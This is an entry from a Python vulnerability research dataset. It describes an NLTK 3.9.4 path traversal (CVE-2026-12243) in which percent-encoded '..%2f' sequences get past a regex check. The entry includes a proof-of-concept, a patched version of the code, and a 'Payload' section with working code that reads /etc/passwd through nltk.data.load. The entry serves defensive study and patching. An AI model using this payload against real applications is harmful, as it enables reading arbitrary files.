VAITP Dataset

← Back to the dataset

CVE-2026-12243

NLTK 3.9.4 path traversal via percent-encoding allows arbitrary file read.

  • CVSS 7.5
  • CWE-22
  • Input Validation and Sanitization
  • Remote

NLTK version 3.9.4 is vulnerable to a path traversal attack due to an incomplete fix for GitHub Issue #3504. The `_UNSAFE_NO_PROTOCOL_RE` regex in `nltk/data.py` checks for literal `../` sequences but fails to account for percent-encoded traversal sequences such as `..%2f`. The `url2pathname()` function decodes these sequences after the validation step, allowing an attacker to bypass the protection. This vulnerability enables an attacker to read arbitrary files accessible to the Python process by controlling the resource name parameter passed to `nltk.data.load()` or `nltk.data.find()`. The issue affects applications that rely on NLTK for resource loading, including NLP web applications, Jupyter notebooks, and CLI tools. The default `pathsec.ENFORCE=False` setting exacerbates the impact by not blocking the file read at the `open()` stage.

CVSS base score
7.5
Published
2026-06-30
OWASP
A01 Broken Access Control
Orthogonal defect classification
Checking
Code defect classification
Incorrect Check
Category
Input Validation and Sanitization
Subcategory
Path Traversal
Accessibility scope
Remote
Impact
Information Disclosure
Affected component
NLTK
Fixed by upgrading
Yes

Solution

Upgrade to NLTK version 3.9.5 or later.

Vulnerable code sample

import re
from urllib.request import url2pathname
import os

# Create a dummy environment for the proof-of-concept
os.makedirs("./nltk_data/corpora", exist_ok=True)
with open("./secret.txt", "w") as f:
    f.write("This is sensitive content from an arbitrary file.")

# This regex from the vulnerable NLTK version fails to block encoded traversal.
_UNSAFE_NO_PROTOCOL_RE = re.compile(r"(^|/)\.\.(/|$)")

def vulnerable_nltk_find(resource_name):
    """
    A simplified representation of the vulnerable resource loading logic.
    """
    base_path = "./nltk_data/corpora"

    # 1. The security check is performed on the raw, encoded resource name.
    #    A payload like '..%2f..%2fsecret.txt' will pass this check.
    if _UNSAFE_NO_PROTOCOL_RE.search(resource_name):
        raise ValueError(f"Path traversal attempt blocked for '{resource_name}'")

    # 2. The resource name is decoded *after* the security check.
    #    '..%2f' is converted to '../'.
    decoded_path = url2pathname(resource_name)

    # 3. The decoded path is used to construct the final file path, enabling traversal.
    full_path = os.path.abspath(os.path.join(base_path, decoded_path))

    # 4. The application reads the file from the traversed path.
    with open(full_path, 'r') as f:
        content = f.read()
    return content

# This malicious payload uses percent-encoding ('%2f' for '/') to bypass the regex.
# It traverses from './nltk_data/corpora' up two levels to read './secret.txt'.
malicious_payload = "..%2f..%2fsecret.txt"

try:
    # This call successfully exploits the vulnerability.
    file_content = vulnerable_nltk_find(malicious_payload)
    print(file_content)
except Exception as e:
    print(f"Exploit failed: {e}")
finally:
    # Clean up the dummy environment
    os.remove("./secret.txt")
    os.rmdir("./nltk_data/corpora")
    os.rmdir("./nltk_data")

Patched code sample

import os
from urllib.parse import unquote

# A list of base paths where NLTK data is stored.
# This is a simplified representation of nltk.data.path.
_DATA_DIRECTORIES = ["/var/lib/nltk_data"]

def find_resource_fixed(resource_name: str) -> str:
    """
    A corrected implementation of a resource location function that prevents
    path traversal attacks.

    This function fixes the vulnerability by first decoding any percent-encoded
    characters in the resource name before validating that the resulting path
    is securely located within a legitimate data directory.
    """
    # 1. The Fix: Decode the resource name *before* any validation.
    # This converts malicious sequences like '..%2f' into '../'.
    try:
        decoded_name = unquote(resource_name)
    except (TypeError, ValueError):
        raise ValueError(f"Invalid resource name format: '{resource_name}'")

    # 2. For robust defense-in-depth, fully resolve the path and ensure it is
    #    a subdirectory of an approved data directory. This is the most
    #    reliable check against traversal.
    for basedir in _DATA_DIRECTORIES:
        # Resolve the absolute path of the allowed base directory.
        resolved_basedir = os.path.abspath(basedir)

        # Create a candidate path and resolve it to its absolute, canonical form.
        # This collapses any '..' or '.' components.
        candidate_path = os.path.join(resolved_basedir, decoded_name)
        resolved_path = os.path.abspath(candidate_path)

        # 3. Final Security Check: Ensure the resolved path is within the
        #    allowed directory tree. `os.path.commonpath` is a safe way
        #    to perform this check.
        if os.path.commonpath([resolved_path, resolved_basedir]) != resolved_basedir:
            # If the common path is not the base directory itself, it means
            # the path has escaped the intended boundary.
            raise ValueError(f"Path traversal attempt blocked: '{resource_name}'")

        if os.path.exists(resolved_path):
            return resolved_path  # Return the safe, resolved path.

    raise LookupError(f"Resource '{resource_name}' not found.")

Payload

import nltk.data

# This payload uses percent-encoded traversal sequences (..%2f) to bypass
# the regex validation in NLTK 3.9.4. The url2pathname function later decodes
# %2f to a slash, allowing path traversal to read arbitrary files.
malicious_resource_name = '..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd'

try:
    # The load() or find() function triggers the vulnerability.
    # Using format='raw' attempts to read the file's raw content.
    file_content = nltk.data.load(malicious_resource_name, format='raw')
    print("Vulnerable. File content:\n")
    print(file_content.decode('utf-8'))
except Exception as e:
    print(f"Exploit attempt resulted in an error (this is expected if the file exists but isn't where the payload assumes): {e}")

Cite this entry

@misc{vaitp:cve202612243,
  title        = {{NLTK 3.9.4 path traversal via percent-encoding allows arbitrary file read.}},
  author       = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
  year         = {2026},
  note         = {VAITP Python Vulnerability Dataset, entry CVE-2026-12243},
  howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2026-12243/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.

The supreme art of war is to subdue the enemy without fighting.

Sun Tzu – “The Art of War”

:: Shaping the future through research and ingenuity ::